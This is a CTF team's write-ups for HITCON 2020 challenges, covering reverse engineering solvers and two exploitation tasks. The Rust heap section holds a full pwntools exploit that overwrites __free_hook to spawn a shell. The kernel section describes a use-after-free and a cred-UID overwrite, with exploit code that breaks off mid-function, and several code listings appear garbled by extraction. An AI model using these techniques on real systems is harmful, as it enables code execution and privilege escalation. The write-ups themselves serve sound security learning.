mhackeroni rulez
5 December 2020

HITCON 2020 - Write ups

by mhackeroni team

This is the collection of writeups for HITCON 2020 by the mhackeroni team.


Comments section


It’s a reverse challenge.

ssh welcome@ password: hitconctf

The challenge

The challenge is literally a reverse challenge. Every word in input is reversed:

If we run cat flag we get:

tac: failed to open 'galf' for reading: No such file or directory

The solution

If we run tac galf we get hitcon{!0202 ftcnoctih ot emoclew}, which is the flag.


010011100110111100100000011010000110100101101110011101000010000001101000 011001010111001001100101001011000010000001110111011010000110000101110100 001000000110000101110010011001010010000001111001011011110111010100100000 011001010111100001110000011001010110001101110100011010010110111001100111 0010000001100110011011110111001000111111

The challenge

We are given a C++ binary, which seems heavily optimized and decompiles like a mess. The binary wants 20 unsigned 32-bit integers as inputs and performs some checks on them. If those checks pass, a SHA26 hash is computed and printed as part of the flag.

The checks are kind of annoying to reverse-engineer, but in the end are pretty straightforward:

  1. Each number must be between 0 and 0xFFFFF.
  2. There is a global table of 40 hardcoded values: each i-th input is and-ed (binary and) with the value at table[2*i] and the result must be equal to the value at table[2*i+1].
  3. Eeach number cannot contain three consecutive equal bits.
  4. There cannot be three equal bits at the same position in three consecutive numbers.
  5. Each number must have exactly 10 bits set to 1.
  6. The total number of 1 bits at any given position in all numbers must be exactly 10.

There are also other checks made by the program, but we did not get reverse those, because in the meantime we we were writing a simple Python solver using z3, adding one check at the time and testing the result. After the 6th check above, our input got accepted by the program and it spit out the flag.

The solution

Complete solution:

#!/usr/bin/env python3
# @dp_1, @mebeim - 2020-11-29

import z3

table = [0x81002, 0x1000, 0x29065, 0x29061, 0x2, 0x2, 0x16C40, 0x16C00,
		 0x20905, 0x805, 0x10220, 0x220, 0x98868, 0x80860, 0x21102,
		 0x21000, 0x491, 0x481, 0x31140, 0x1000, 0x801, 0x0, 0x60405,
		 0x400, 0x0C860, 0x60, 0x508, 0x400, 0x40900, 0x800, 0x12213,
		 0x10003, 0x428C0, 0x840, 0x840C, 0x0C, 0x43500, 0x2000, 0x8105A,

def popcount(v):
	Bit Twiddling Hacks FTW
	w = v - ((v >> 1) & 0x55555555)
	q = (w & 0x33333333) + ((w >> 2) & 0x33333333)
	s = ((q + (q >> 4) & 0xF0F0F0F) * 0x1010101) >> 24
	return s

solver = z3.Solver()
inp = [z3.BitVec('x{:02d}'.format(i), 8 * 4) for i in range(20)]

for i, x in enumerate(inp):
	solver.add(x & 0xFFF00000 == 0)
	solver.add(x & table[2 * i] == table[2 * i + 1])

	mask = 7
	for j in range(18):
		solver.add((x & mask) != (7<<j), x & mask != 0)
		mask = mask << 1

for off in range(20):
	for i in range(1, len(inp)-1):
		x = ((inp[i-1]>>off) & 1) + ((inp[i]>>off) & 1) + ((inp[i+1]>>off) & 1)
		solver.add(x != 0, x != 3)

for v in inp:
	solver.add(popcount(v) == 10)

for off in range(20):
	x = (inp[0] >> off) & 1
	for i in range(1, len(inp)):
		x += (inp[i] >> off) & 1
	solver.add(x == 10)

res = solver.check()
assert res == z3.sat

m = solver.model()
nums = [m[x].as_long() for x in inp]

And here it is in action:

$ ./ | ./11011001
Here's your gift: hitcon{fd05b10812d764abd7d853dfd24dbe6769a701eecae079e7d26570effc03e08d}


Let me introduce a brand new concept - Syscall Oriented Programming!

The binary implements the typical fetch-execute loop in the run function:

memset(regs, 0, sizeof(regs));
while ( code[regs[15]] )
  fetch_inst(code[regs[15]], &sysno, sysargs, regs);
  syscall(sysno, sysargs[0], sysargs[1], sysargs[2], sysargs[3], sysargs[4], sysargs[5]);

From this code we can also see that the VM allows up to 6 arguments for a given syscall and that it offers 16 64bit registers, the last of which is the instruction pointer. The custom instruction encoding can be extracted from the fetch_inst function, which was reimplemented in python to continue the analysis

At a basic level, the VM executes a syscall for each opcode. Since the disassembly was over 2k lines long, we used some rules to simplify and shorten it. For example, a mov reg, reg instruction was implemented as a set_tid_address <value>; prctl GET_TID_ADDRESS &<dest>.

After this first step, the bytecode could be subdivided in four main parts:

The logical next step was to analyze the shellcode and the seccomp filter:

; Sigaction handler
   0:    48 b9 2c 34 3a 79 f5     movabs rcx,  0x3f8495f5793a342c
   a:    95 84 3f                 mov    edx,  DWORD PTR [rsi+0x4] # si_code
   d:    8b 56 04                 mov    WORD PTR [rcx],  dx
  10:    66 89 11                 lea    rcx,  [rip+0xffffffffffffffeb]  # 0x2
  17:    48 8d 0d eb ff ff ff     inc    QWORD PTR [rcx]
  1a:    48 ff 01                 inc    QWORD PTR [rcx]
  1d:    48 ff 01                 ret

; Restorer function
   0:    31 c0                    xor    eax,  eax
   2:    b0 0f                    mov    al,  sys_sigreturn
   4:    0f 05                    syscall

The interesting part here is the sigaction handler: it takes the syscall return value, stores it at the address contained in rcx and increments that pointer by 2 by modifying the movabs instruction. Since the return value is 16 bits wide, by repeating this procedure twice we can obtain a full 32 bit result.

The seccomp filter, extracted using seccomp_tools, is as follows:

 line  CODE  JT   JF      K
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x0d 0x00 0x40000000  if (A >= 0x40000000) goto 0015
 0002: 0x15 0x0a 0x00 0x00000001  if (A == write) goto 0013
 0003: 0x15 0x20 0x00 0x00000068  if (A == getgid) goto 0036
 0004: 0x15 0x15 0x00 0x00000066  if (A == getuid) goto 0026
 0005: 0x15 0x28 0x00 0x000000ba  if (A == gettid) goto 0046
 0006: 0x15 0x0e 0x00 0x00000027  if (A == getpid) goto 0021
 0007: 0x15 0x17 0x00 0x0000006c  if (A == getegid) goto 0031
 0008: 0x15 0x07 0x00 0x0000006f  if (A == getpgrp) goto 0016
 0009: 0x15 0x29 0x00 0x0000006e  if (A == getppid) goto 0051
 0010: 0x15 0x1e 0x00 0x0000006b  if (A == geteuid) goto 0041
 0011: 0x15 0x2c 0x00 0x00000039  if (A == fork) goto 0056
 0012: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0013: 0x20 0x00 0x00 0x00000010  A = fd # write(fd, buf, count)
 0014: 0x15 0x00 0x37 0x00000000  if (A != 0x0) goto 0070
 0015: 0x06 0x00 0x00 0x00000000  return KILL

 0016: 0x20 0x00 0x00 0x00000018  A = args[1]
 0017: 0x07 0x00 0x00 0x00000000  X = A
 0018: 0x20 0x00 0x00 0x00000010  A = args[0]
 0019: 0x2c 0x00 0x00 0x00000000  A *= X
 0020: 0x15 0x28 0x28 0x00000000  goto 0061

 [all other handlers omitted for brevity]

 0061: 0x02 0x00 0x00 0x00000000  mem[0] = A
 0062: 0x20 0x00 0x00 0x00000020  A = args[2]
 0063: 0x07 0x00 0x00 0x00000000  X = A
 0064: 0x60 0x00 0x00 0x00000000  A = mem[0]
 0065: 0x7c 0x00 0x00 0x00000000  A >>= X
 0066: 0x01 0x00 0x00 0x00030000  X = 196608
 0067: 0x54 0x00 0x00 0x0000ffff  A &= 0xffff
 0068: 0x4c 0x00 0x00 0x00000000  A |= X
 0069: 0x16 0x00 0x00 0x00000000  return A
 0070: 0x06 0x00 0x00 0x7fff0000  return ALLOW

This filter is used to implement arithmetic operations in the bytecode by hooking unused syscalls. For example, a getpgrp syscall is used to multiply two numbers. Since the result is only 16 bits wide, each 32bit operation calls the required syscall twice, once with a shift (third argument) of 0 and once with a shift of 16.

With the seccomp filter & handler reversed, it was now possible to apply more rules to the bytecode, reducing it to less than 600 instructions, of which most are the ones used to set up the filter itself, meaning that the unreversed part got reduced to roughly 300 lines.

In the remaining code there were 4 repetitions of code that looked very similar and a final block that applies some final operations on the input and prints the success message. The 4 repetitions are all the same except for some constant values which are used, making it look very similar to some sort of encryption algorithm. In fact, by analyzing it further (with the help of an strace log of the binary with a known input for debugging) it was possible to reimplement the algorithm in C, revealing that it was some sort of 32-round feistel network.

Any feistel round can be inverted if the output and key are known. Since the key was hardcoded in the bytecode, this meant that given an output it could be decrypted to get the flag.

The last part of the bytecode, just before printing the final message, XORs each 4byte block of the encrypted flag with a constant value and calculates the OR of all the XORs:

strcpy &r9 0x217058
mov 0x0 r2
r3 = r9 ^ 0x4a9d3ffd
r2 = r2 | r3
strcpy &r9 0x21705c
mov 0x0 r2
r3 = r9 ^ 0xbb541082
r2 = r2 | r3
strcpy &r9 0x217060
mov 0x0 r2
r3 = r9 ^ 0x632a4f78
r2 = r2 | r3
strcpy &r9 0x217064
mov 0x0 r2
r3 = r9 ^ 0xa9cb93d
r2 = r2 | r3
strcpy &r9 0x217068
mov 0x0 r2
r3 = r9 ^ 0x58aae351
r2 = r2 | r3
strcpy &r9 0x21706c
mov 0x0 r2
r3 = r9 ^ 0x92012a14

This meant that the final value would be 0 if and only if the encrypted flag was equal to those constants, and so those were the best candidates to try decryption on. Indeed, by concatenating and decrypting them, we got the flag.

For reference, this is the decompiler code and the final decryption code:

from struct import unpack
u64 = lambda x: unpack('<Q', x)[0]

with open('sop_bytecode', 'rb') as fin:
    data =

def getbit(data, idx):
    res = data & (2**idx-1)
    return res, data >> idx

syscalls = {
    0: 'read',
    1: 'write',
    9: 'mmap',
    13: 'rt_sigaction',
    39: 'getpid',
    57: 'fork',
    102: 'getuid',
    104: 'getgid',
    107: 'geteuid',
    108: 'getegid',
    110: 'getppid',
    111: 'getpgrp',
    157: 'prctl',
    186: 'gettid',
    218: 'set_tid_address'

disasm = []

for i in range(0, len(data), 8):
    opcode = u64(data[i:i+8])
    if opcode == 0:

    sysno, opcode = getbit(opcode, 8)
    args = []

    for _ in range(6):
        mode, opcode = getbit(opcode, 2)

        if mode == 0:
            idx, opcode = getbit(opcode, 4)
        elif mode == 1:
            idx, opcode = getbit(opcode, 4)
        elif mode == 2:
            size, opcode = getbit(opcode, 5)
            imm, opcode = getbit(opcode, size+1)

    assert sysno in syscalls
    disasm.append([syscalls[sysno], *args])
    #print(syscalls[sysno], ' '.join(args))

# All rules return the number of lines used and the new line

# set_tid_address value + prctl get_tid &dest -> dest = value
def tid_prctl_mov(x):
    if x[0][0] == 'set_tid_address' and x[1][0] == 'prctl' and x[1][1] == '0x28':

        val = x[0][1]
        dest = x[1][2]

        # Dereference
        if dest[0] == '&': dest = dest[1:]
        else: dest = '*' + dest

        return 2, ['mov', val, dest]
    return None

# prctl SET_NAME str + prctl GET_NAME dest -> strcpy(dest, str)
def prctl_name_strcpy(x):
    if x[0][0] == 'prctl' and x[1][0] == 'prctl':
        if x[0][1] == '0xf' and x[1][1] == '0x10':

            src = x[0][2]
            dest = x[1][2]

            return 2, ['strcpy', dest, src]
    return None

prctl_vals = {
    22: 'PR_SET_SECCOMP',
    38: 'PR_SET_NO_NEW_PRIVS',

def readable_prctl(x):
    if x[0][0] == 'prctl' and x[0][1].startswith('0x'):

        val = int(x[0][1], 16)
        assert val in prctl_vals

        return 1, ['prctl', prctl_vals[val]] + x[0][2:]
    return None

seccomp_ops = {
    'getgid': '&',
    'getuid': '>>',
    'gettid': '|',
    'getpid': '+',
    'getegid': '-',
    'getpgrp': '*',
    'getppid': '<<',
    'geteuid': '^',
    'fork': '/'

def seccomp_rules(x):
    if x[0][0] in seccomp_ops.keys():
        if x[1][0] != x[0][0]: return None
        if int(x[0][3],16) != 0 or int(x[1][3],16) != 16: return None

        a, b = x[0][1], x[0][2]
        op = seccomp_ops[x[0][0]]

        return 2, ['arith', a, op, b]
    return None

def arithmetic(x):
    if x[0][0] != 'mov' or x[1][0] != 'mov' or x[2][0] != 'mov': return None
    if x[3][0] != 'arith' or x[0][1][0] != '&': return None
    if x[0][2] != '*0x217022' or x[1][2] != 'r0' or x[2][2] != 'r1': return None
    if x[3][1] != 'r0' or x[3][3] != 'r1': return None

    dest = x[0][1][1:]
    a = x[1][1]
    b = x[2][1]
    op = x[3][2]

    return 4, [f'{dest} = {a} {op} {b}']

rules = [
    tid_prctl_mov, prctl_name_strcpy,
    readable_prctl, seccomp_rules,
#rules = []

for rule in rules:
    i = 0
    while i < len(disasm):
            res = rule(disasm[i:])
            if res:
                used, res = res
                assert used > 0
                disasm[i] = res
                for j in range(i+1, i+used):
                    disasm[j] = []

                match = True
        except IndexError:
        i += 1

    disasm1 = []
    for x in disasm:
        if x != []:
    disasm = disasm1

disasm = '\n'.join(' '.join(x) for x in disasm)

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>

void round_fwd(uint32_t *_a, uint32_t *_b, uint32_t *k) {
    uint32_t a = *_a, b = *_b;

    uint32_t r2 = k[0], r3 = k[1], r4 = k[2], r5 = k[3], r9 = k[4];
    uint32_t r6, r7, r8, r10, r11, r12, r13, r14, r15;

    r6 = a; r7 = b;

    r8 = 0;
    for(int i = 0; i < 32; i++) {
        //r10 = 0;
        r8 = r8 + r9;

        r11 = r7 << 4;
        r11 = r11 + r2;
        r12 = r7 >> 5;
        r12 = r12 + r3;
        r11 = r11 ^ r12;
        r12 = r7 + r8;
        r11 = r11 ^ r12;
        r6 = r6 + r11;

        r11 = r6 << 4;
        r11 = r11 + r4;
        r12 = r6 >> 0x5;
        r12 = r12 + r5;
        r11 = r11 ^ r12;
        r12 = r6 + r8;
        r11 = r11 ^ r12;
        r7 = r7 + r11;
        r10 = r10 + 0x1;
        //r11 = r10 >> 0x5;
        //r11 = 0x1 - r11;
        //r11 = r11 * 0xab;

        //printf("%d 0x%08x 0x%08x\n", i, r6, r7);
    printf("0x%08x\n", r10);

    a = r6; b = r7;

    *_a = a; *_b = b;

void round_bk(uint32_t *_a, uint32_t *_b, uint32_t *k) {
    uint32_t a = *_a, b = *_b;
    uint32_t r2 = k[0], r3 = k[1], r4 = k[2], r5 = k[3], r9 = k[4];
    uint32_t r6, r7, r8, r10, r11, r12, r13, r14, r15;

    r6 = a; r7 = b;

    r8 = 0;
    for(int i = 0; i < 32; i++)
        r8 = r8 + r9;

    for(int i = 0; i < 32; i++) {

        r11 = r6 << 4;
        r11 = r11 + r4;
        r12 = r6 >> 0x5;
        r12 = r12 + r5;
        r11 = r11 ^ r12;
        r12 = r6 + r8;
        r11 = r11 ^ r12;
        r7 = r7 - r11;

        r11 = r7 << 4;
        r11 = r11 + r2;
        r12 = r7 >> 5;
        r12 = r12 + r3;
        r11 = r11 ^ r12;
        r12 = r7 + r8;
        r11 = r11 ^ r12;
        r6 = r6 - r11;

        r8 = r8 - r9;

    a = r6; b = r7;
    *_a = a; *_b = b;

uint32_t k[4][5] = {

uint32_t vals[4][2] = {
    {0x152ceed2, 0xd6046dc3},
    {0x4a9d3ffd, 0xbb541082},
    {0x632a4f78, 0x0a9cb93d},
    {0x58aae351, 0x92012a14}

int main() {
    uint8_t _input[8] = {'h','i','t','c','o','n','{','a'};
    uint32_t *input = (uint32_t *)_input;

    for(int i = 0; i < 4; i++) {
        input[0] = vals[i][0];
        input[1] = vals[i][1];

        round_bk(&input[0], &input[1], k[i]);
        //printf("0x%08x 0x%08x\n", input[0], input[1]);

        for(int i = 0; i < 8; i++)
            putchar(isprint(_input[i]) ? _input[i] : '@');

Run run run

This writeup is available here.


This writeup is available here.


Heap exploitation in Rust? Is there any hope? Yes if you implement your own Garbage Collector.

The program

The binary doesn’t have any hard mitigations:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	ymbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   3950) Symbols	  No	0		12		dual-2df8d4005c5d4ffc03183a96a5d9cb55ac4ee56dfb589d65b0bf4501a586a4b0

The vulnerability

The struct of the Nodes of the Graph is:

struct Node{
    id: u64,              // 0x0 id of the node
    this_index: u64,      // 0x8 index of the current obj inside of the pool
    edges: Vec<u64>,      // 0x10 ptr to the vector of neighbours
    last_edge: *u64,      // 0x18 ptr to the last edge in the vector of neighbours
    edges_end: *u64,      // 0x20 ptr to the end of the vector of neighbours
    text_len: u64,        // 0x28 Len of the text
    text_index: u64,      // 0x30 Index to the text obj in the pool
    stamp: u64,           // 0x38 operation stamp (not really usefull for pwning)

After fuzzing playing with the binary we found out that using write_bin with length 0 causes a bug.

fn write_bin(){
    let node_id = read_int();
    let node = match find_node(root, node_id) {
        Some(node) => node,
        None => {

    let bin_len = read_int();
    let bin_vals = read(bin_len);

    let (new_string, len) = encode(bin_vals, bin_len);
    // NO CHECK!
    node.text_index = add_pool(new_string);
    node.text_len = len;

fn encode(bin_vals, bin_len) -> (&str, u64){
    if bin_len == 0 {
        // NULL == 0
        return (NULL, 1);

(Here we skip over a lot of details which are not relevant here.) Basically the write_bin function always add to the pool even if the encoding fails.

The garbage collector considers a cell free if its value >> 3 == 0 and this olds for NULL. Therefore we have a type confusion where we can have the same memory referenced as a text and a node.

def craft_node(_id, **kwargs):
    """Helper function to get the bytes of an arbitrary node"""
    s  = p64(_id)
    s += p64(kwargs.get("this_idx", 0x4141414141414141)
    s += p64(kwargs.get("edges", 0)
    s += p64(kwargs.get("last_edge", 0)
    s += p64(kwargs.get("edges_end", 0)
    s += p64(kwargs.get("text_len", 0x4141414141414141)
    s += p64(kwargs.get("text_idx", 0x4141414141414141)
    s += p64(kwargs.get("stamp",0x4141414141414141 )
    return s

def forge_node(**kwargs):
    # write an empty b64 to cause the bug in the node 0
    write_bin(0, "")
    # Create a new node which will be confused
    # with the text of the node 0
    node_id = create(0)
    # Create the bytes for the arbitrary node
    crafted = craft(node_id, **kwargs)
    # Write it
    write_text(0, crafted)
    return node_id

Now that we can forge arbitrary nodes we need to find a leak of the libc address and a write primitive.

The pseudo-rust of the connect_node function is:

fn connect_node() {
    let pred_id = read_int();

    let pred_node = match find_node(root, pred_id) {
        Some(node) => node,
        None => {

    let succ_id = read_int();
    let succ_node = match find_node(root, succ_id) {
        Some(node) => node,
        None => {

        let mut ptr = pred_node.edges;
        // check if the edge was already inserted
        while ptr < pred_node.last_edge {
            if pool[*ptr] == succ {

        if pred_node.last_edge != pred_node.edges_end {
            // realloc pred_node.edges
            // and fix pred_node.last_edge
            // and pred_node.edges_end

        // write what where primitive
        *pred_node.last_edge = succ_node.this_index;

So if we can craft two arbitrary nodes, we can use connect_node to get arbitrary write.

For the libc leak we can do the usual unsorted bin leak (free a chunk into the unsorted bin, then read the pointer to the arena that will be placed in the heap).

Here we create a node with arbitrary big text_len to be able to read out of bound, then allocate and free a chunk to read the heap-metadata of the freed chunk.

nb = create(0)
# Bug: write_bin with size 0 will return 1 instead of a pointer.
write_bin(nb, '')
# This node can be overwritten with nb.text.
n1 = create(nb)
# Node that will be freed for the libc leak.
n2 = create(nb)
# Allocate >0x400 bytes so that the chunk will skip the tcache.
write_text(n2, 'X'*0x500)
# Create another node to avoid consolidation with the top chunk.
n3 = create(nb)
# Free node 2 for the unsorted bin leak: the freed chunk now contains pointers to the main arena.
disconnect(nb, n2)
# Craft n1 so that we can read the pointers from the heap.
crafted = craft(n1, text_idx=n1, text_len=0x100)
write_text(nb, crafted)
# Leak.
leak = read(n1)

The exploit

In the following code we will omit the primitives for simplicity sake, the complete script can be found here.

Now that we can leak a libc address and we have a write-what-where primitive we can open a shell by either modifying the .got.plt or by overwriting one of the hooks in the libc. We chose to overwrite the __free_hook since it’s faster.

Steps to get a shell:

The full exploit:

from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/')
host = ''
port = 9573

p = remote(host, port)

# Step 1: leak libc base.
# Prepare a root node for later. In the second step the DFS will go down here first,
# so it won't crash on the nodes we crafted in the first step.
na = create(0)
# Root node for step 1.
nb = create(0)
# Bug: write_bin with size 0 will return 1 instead of a pointer.
write_bin(nb, '')
# This node can be overwritten with nb.text.
n1 = create(nb)
# Node that will be freed for the libc leak.
n2 = create(nb)
# Allocate >0x400 bytes so that the chunk will skip the tcache.
write_text(n2, 'X'*0x500)
# Create another node to avoid consolidation with the top chunk.
n3 = create(nb)
# Free node 2 for the unsorted bin leak: the freed chunk now contains pointers to the main arena.
disconnect(nb, n2)
# Craft n1 so that we can read the pointers from the heap.
crafted = craft(n1, text_idx=n1, text_len=0x100)
print('writing', len(crafted), 'bytes:', crafted)
write_text(nb, crafted)
leak = read(n1)
leak_libc = u64(leak[160:160+8])
print('leak arena:', hex(leak_libc))
leak_offset = 2014176 # main_arena + 96
main_arena = 0x7ffff7c2cb80 # libc.symbols['main_arena']
print('main_arena', hex(main_arena))
print('leak_offset', hex(leak_offset))
libc_base = leak_libc - leak_offset
print('libc base:', hex(libc_base))

# Step 2: write what-were to get a shell.
libc.address = libc_base
system = libc.symbols['system']
what = system
print('system:', hex(system))
free_hook = libc.symbols['__free_hook']
where = free_hook
print('__free_hook:', hex(free_hook))
# write_bin bug again to control a second node.
write_bin(n3, '')
# This node can be overwritten with n3.text.
n4 = create(na)
# Prepare nodes for arbitrary write.
wherenode = craft(n1, edges=where-8, last_edge=where, edges_end=where+32)
whatnode = craft(n4, pool_idx=what)
write_text(n3, whatnode)
write_text(nb, wherenode)
# Trigger arbitrary write.
connect(n1, n4)

# Write in a chunk and trigger the free in write_text to call system("/bin/sh").
write_text(nb, b'/bin/sh\x00')
write_text(nb, 'A'*1500, shell=True)


Shortest Path AlgoRithm in Kernel!

nc 9427

This challenge is a Linux VM with a custom kernel module, which exposes a new /dev/node device. The module allows building weighted graphs and calculating the shortest distance between two nodes.

When we open the driver, the descriptor is backed by the following private_data:

struct node {
    uint64_t id;
    int refcount;
    struct mutex state_lock;
    int is_finalized;
    struct mutex nb_lock;
    uint64_t num_children;
    list_head edges;
    uint64_t traversal_idx;
    struct node_list *traversal;

After opening a node, we can interact via ioctl. There are four ioctls:

When we create an edge (nodes can be linked only if not finalized), the following structure is allocated:

struct edge {
    struct edge *next;
    struct edge *prev;
    struct node *node;
    uint64_t weight;

Where next and prev make up a list_head. The edge is then inserted in the struct node’s edges list.

When we finalize a node, the driver performs a depth-first traversal of the graph rooted in the node. The list of nodes in DFS order is stored in the traversal list of the node. The index of each node in the DFS list is stored in that node’s traversal_idx.

The traversal list is a simple vector:

struct node_list {
    uint64_t size;
    uint64_t capacity;
    struct node *nodes;

The query ioctl, which requires a finalized source node, allocates an array of distances of length equal to the source’s traversal list length. Then, it uses this working array to compute shortest-path distances until it gets to the shortest-path distance of the destination node, at which point it can return the answer.

There are a couple bugs.

Finalizing a node will (correctly) increment the refcount of all nodes in the DFS traversal. However, linking two nodes will not increment their refcount. Therefore, if two nodes are linked and then one is closed, the surviving one will have an edge whose node field points to the other node’s freed struct node, i.e., a dangling pointer (which we could turn into UAF).

Moreover, the traversal_idx is a property of the node, rather than of the traversal. This is only correct if a node can be in at most a single traversal, which is ensured by the finalization logic, which will mark every node in the DFS as finalized and stop when it encounters an already-finalized node. However, the query logic also uses a node’s children, not just the pre-calculated DFS traversal, when updating distances iteratively:

for every edge E in the current node's edges:
    if distance[E->node->traversal_idx] != -1:
        new_dist = current_path_distance + E->weight
        if new_dist < distance[E->node->traversal_idx]:
            distance[E->node->traversal_idx] = new_dist

It’s possible to create a situation where a node has children in different traversals. For example, if A has children B and C, then by finalizing C and then A we’d get two traversals [C] and [A, B], so B and C are in different traversals. However, that query code assumes that children are always in the same traversal, because the traversal_idx is not checked in any way. By exploiting this, we can get a OOB write from the distance array.

Our exploit is needlessly complex, but we blame sleep deprivation :)

We use the first bug (edge with dangling ptr) to cause a crash during a query. We reclaim the freed node using the setxattr+userfaultfd technique and we fake a node with a huge traversal_idx (resulting in a non-canonical access) to crash the query. This will not crash the kernel, but will print a panic to dmesg, which we can read, and leak a couple pointers: a node pointer, and the location of the distance array of the crashing query. Note that the array is freed after the query, but since the query crashed, it’s still allocated.

Then, we shape the heap so that a query will allocate the distance array right before a node. We use the OOB in query to modify the node’s refcount. Then, we are able to free the node while still retaining a file descriptor to it. By reclaiming the freed node, we now have a primitive that gives us full control of a node structure that’s backing a live file descriptor. This is properly engineered to that we can repeatedly free and reclaim the node as many times as we want, so that we can change the structure contents at will.

We exploit the controlled node primitive to build an arbitrary read primitive. The info ioctl, along other values, also outputs us the size of the node’s traversal. Since we control the traversal field, this allows us to read a 8-byte integer from an arbitrary address (repeatedly). We use the read, coupled with the pointers we leaked earlier, to scan the heap and find our fake node (we put a unique marker as id). Then, since during the info ioctl the state_lock lock is held, we can read current from the mutex, and our task’s cred pointer from that.

We then abuse cleanup logic on a fake node to free the leaked distance array that was still allocated, so that the next (properly sized) query will reclaim it and thus put its distance array at the same known address. Querying a fake node also gives us control over traversal_idx, and so now the query OOB can be turned into an arbitrary write.

We use the write to overwrite our task’s UID in its cred to 0. Then, we can simply open the root-owned /flag and read it.

#define _GNU_SOURCE

#include <stdio.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/xattr.h>
#include <errno.h>
#include <signal.h>
#include <sys/klog.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <semaphore.h>

#define DEV_PATH "/dev/node"
#define SPARK_FINALIZE 0xd902
#define SPARK_LINK 0x4008d900
#define SPARK_QUERY 0xc010d903
#define SPARK_INFO 0x8018D901

struct spark_ioctl_query {
	int fd1;
	int fd2;
	long long distance;

struct spark_info {
	unsigned long num_children;
	unsigned long traversal_idx;
	unsigned long traversal_size;

static unsigned g_create_next_id;

static int create()
	int fd = open(DEV_PATH, O_RDONLY);
	assert(fd != -1);
	return fd;

static void llink(int a, int b, unsigned int weight)
	assert(ioctl(a, SPARK_LINK, b | ((unsigned long long) weight << 32)) == 0);

static long long query(int a, int b)
	struct spark_ioctl_query qry = {
	.fd1 = a,
	.fd2 = b,
	assert(ioctl(a, SPARK_QUERY, &qry) == 0);
	return qry.distance;

static void finalize(int a)
	assert(ioctl(a, SPARK_FINALIZE) == 0);

static void get_info(int a, struct spark_info *info)
	assert(ioctl(a, SPARK_INFO, info) == 0);

static void release(int a)
	assert(close(a) == 0);

struct fault_arg {
	sem_t fault_sema;
	sem_t unblock_sema;
	void *addr;

static void *fault_thread(void *arg)
	struct fault_arg *param = (struct fault_arg *)arg;

	unsigned char *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	assert(page != MAP_FAILED);
	page[0] = 0xff; // top byte for traversal addr

	// create a userfaultfd object
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	assert(uffd != -1);

	// enable the userfaultfd object
	struct uffdio_api uffdio_api;
	uffdio_api.api = UFFD_API;
	uffdio_api.features = 0;
	assert(ioctl(uffd, UFFDIO_API, &uffdio_api) == 0);

	// n_addr is the start of where you want to catch the pagefault. In our
	// case, we set it to the address of page 2
	struct uffdio_register uffdio_register;
	uffdio_register.range.start = (unsigned long)param->addr;
	uffdio_register.range.len = 0x1000;
	uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
	assert(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == 0);

	assert(sem_post(&param->fault_sema) == 0);

	struct pollfd pollfd;
	int nready;
	pollfd.fd = uffd; = POLLIN;
	nready = poll(&pollfd, 1, -1);
	assert(nready != -1);

	struct uffd_msg msg;
	assert(read(uffd, &msg, sizeof(msg)) == sizeof(msg));
	assert(msg.event == UFFD_EVENT_PAGEFAULT);

	assert(sem_post(&param->fault_sema) == 0);

	assert(sem_wait(&param->unblock_sema) == 0);

	struct uffdio_copy uffdio_copy;
	uffdio_copy.src = (unsigned long) page;
	uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~0xfffUL;
	uffdio_copy.len = 0x1000;
	uffdio_copy.mode = 0;
	uffdio_copy.copy = 0;
	assert(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == 0);

	munmap(page, 0x1000);

	return NULL;

struct setxattr_arg {
	const void *buf;
	size_t size;

static void *setxattr_thread(void *arg)
	struct setxattr_arg *param = (struct setxattr_arg *)arg;
	assert(setxattr(".", "nonexistent", param->buf, param->size, XATTR_REPLACE) == -1);
	return NULL;

struct reclaim_ctx {
	struct fault_arg fault_arg;
	struct setxattr_arg setxattr_arg;
	pthread_t setxattr_handle;

static void reclaim_alloc_raw(struct reclaim_ctx *ctx, char *buf)
	char *mem = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
	assert(mem != MAP_FAILED);

	ctx->fault_arg.addr = mem + 0x1000;
	assert(sem_init(&ctx->fault_arg.fault_sema, 0, 0) == 0);
	assert(sem_init(&ctx->fault_arg.unblock_sema, 0, 0) == 0);

	pthread_t handle;
	assert(pthread_create(&handle, NULL, fault_thread, &ctx->fault_arg) == 0);
	assert(sem_wait(&ctx->fault_arg.fault_sema) == 0);

	char *node = mem + 0x1000 - 0x7e;
	// memcpy could cross boundaries
	for (int i = 0; i < 0x7e; i++)
		node[i] = buf[i];

	ctx->setxattr_arg.buf = node;
	ctx->setxattr_arg.size = 0x7f; // avoid copy_from_user 16b optimization
	assert(pthread_create(&ctx->setxattr_handle, NULL, setxattr_thread, &ctx->setxattr_arg) == 0);

	assert(sem_wait(&ctx->fault_arg.fault_sema) == 0);

static void reclaim_alloc(struct reclaim_ctx *ctx, unsigned int is_finalized,
                          unsigned long num_children, unsigned long traversal_idx,
						  unsigned long traversal)
	char buf[0x80];
	memset(buf, 0, sizeof(buf));
	*(unsigned int *)(buf + 0x8) = 1; // refcount
	*(unsigned int *)(buf + 0x30) = is_finalized; // is_finalized
	*(unsigned long *)(buf + 0x58) = num_children; // num_children
	*(unsigned long *)(buf + 0x70) = traversal_idx; // traversal_idx
	*(unsigned long *)(buf + 0x78) = traversal; // traversal

	reclaim_alloc_raw(ctx, buf);

static void reclaim_free(struct reclaim_ctx *ctx)
	assert(sem_post(&ctx->fault_arg.unblock_sema) == 0);
	assert(pthread_join(ctx->setxattr_handle, NULL) == 0);

static void stage1_leak_dmesg(unsigned long *dist_addrp, unsigned long *edges_addrp)
    int i, sz;
